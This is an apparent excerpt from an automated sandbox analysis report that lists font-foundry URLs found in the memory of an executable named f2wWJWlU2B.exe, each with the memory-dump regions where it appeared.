Source: f2wWJWlU2B.exe, 00000000.00000003.323441982.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323666524.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322972959.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323034183.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322561451.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325111275.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323714676.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322826453.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322919648.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323170563.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324962358.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323781262.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323940467.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325165082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323998251.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323347855.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322749208.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323280576.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325276348.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325069743.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comessed
Source: f2wWJWlU2B.exe, 00000000.00000003.323441982.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323666524.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323714676.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323170563.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323781262.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323940467.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323347855.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323280576.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323233327.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comi
Source: f2wWJWlU2B.exe, 00000000.00000003.323441982.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323666524.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322972959.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322308129.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323034183.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322561451.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322184716.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322077314.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322826453.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322919648.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323170563.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323347855.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322749208.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322498638.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323280576.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322632101.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322398392.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323233327.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comk
Source: f2wWJWlU2B.exe, 00000000.00000003.345640936.0000000006550000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.343815839.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344845082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342210123.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.343991641.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344658405.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341629193.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342044723.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.345395761.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341818227.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342120023.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.345937384.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341882605.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.345107780.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comoitu
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315161506.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.314996143.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316145848.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315206338.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316249183.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315868158.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315594020.000000000654E000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316419582.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316024028.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315736705.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315960781.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn%
Source: f2wWJWlU2B.exe, 00000000.00000003.314713633.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.314578220.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315594020.000000000654E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: f2wWJWlU2B.exe, 00000000.00000003.315868158.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315594020.000000000654E000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315736705.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/ni
Source: f2wWJWlU2B.exe, 00000000.00000003.315206338.0000000006551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnC
Source: f2wWJWlU2B.exe, 00000000.00000003.315868158.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315594020.000000000654E000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315736705.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnl
Source: f2wWJWlU2B.exe, 00000000.00000003.315206338.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315868158.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315594020.000000000654E000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316024028.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315736705.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315960781.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnl-gUY
Source: f2wWJWlU2B.exe, 00000000.00000003.315594020.000000000654E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnoX
Source: f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316145848.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317669164.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315206338.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316249183.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315868158.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315594020.000000000654E000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316419582.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316024028.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315736705.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnu
Source: f2wWJWlU2B.exe, 00000000.00000003.326950685.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327237834.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327051093.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: f2wWJWlU2B.exe, 00000000.00000003.326950685.0000000006552000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/MW
Source: f2wWJWlU2B.exe, 00000000.00000003.327413426.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.326950685.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327237834.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327749903.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327051093.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327541351.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: f2wWJWlU2B.exe, 00000000.00000003.327413426.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.326950685.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327237834.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327051093.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327541351.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htmsS
Source: f2wWJWlU2B.exe, 00000000.00000003.314713633.000000000654D000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.314578220.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.
Source: f2wWJWlU2B.exe, 00000000.00000003.314495432.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.314713633.000000000654D000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.314578220.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: f2wWJWlU2B.exe, 00000000.00000003.319441509.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318356369.000000000654C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp//MS
Source: f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/:I
Source: f2wWJWlU2B.exe, 00000000.00000003.320768723.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319880191.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319668869.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320695026.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319251561.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320304529.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320180454.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320629837.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320515960.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318968459.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320424299.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319163189.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319441509.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/BI
Source: f2wWJWlU2B.exe, 00000000.00000003.318356369.000000000654C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Gras
Source: f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Lodi
Source: f2wWJWlU2B.exe, 00000000.00000003.319880191.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319668869.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319251561.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320304529.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320180454.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318968459.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319163189.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319441509.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0
Source: f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0-c
Source: f2wWJWlU2B.exe, 00000000.00000003.319251561.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318968459.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319163189.0000000006552000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/:I
Source: f2wWJWlU2B.exe, 00000000.00000003.320768723.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.321066863.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319880191.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319668869.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320695026.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319251561.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320304529.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320180454.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320938593.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320629837.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.321129389.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320515960.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318968459.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320424299.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319163189.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319441509.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/tI
Source: f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318356369.000000000654C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/t
Source: f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/tI
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: f2wWJWlU2B.exe, 00000000.00000003.311699164.0000000006532000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comK
Source: f2wWJWlU2B.exe, 00000000.00000003.311699164.0000000006532000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comt
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: f2wWJWlU2B.exe, 00000000.00000003.314495432.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.314395972.0000000006551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315960781.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: f2wWJWlU2B.exe, 00000000.00000003.316111905.000000000194C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com(y
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: f2wWJWlU2B.exe, 00000000.00000003.316419582.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: f2wWJWlU2B.exe, 00000000.00000003.316419582.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cnego
Source: f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316419582.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cng
Source: f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316419582.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cno.
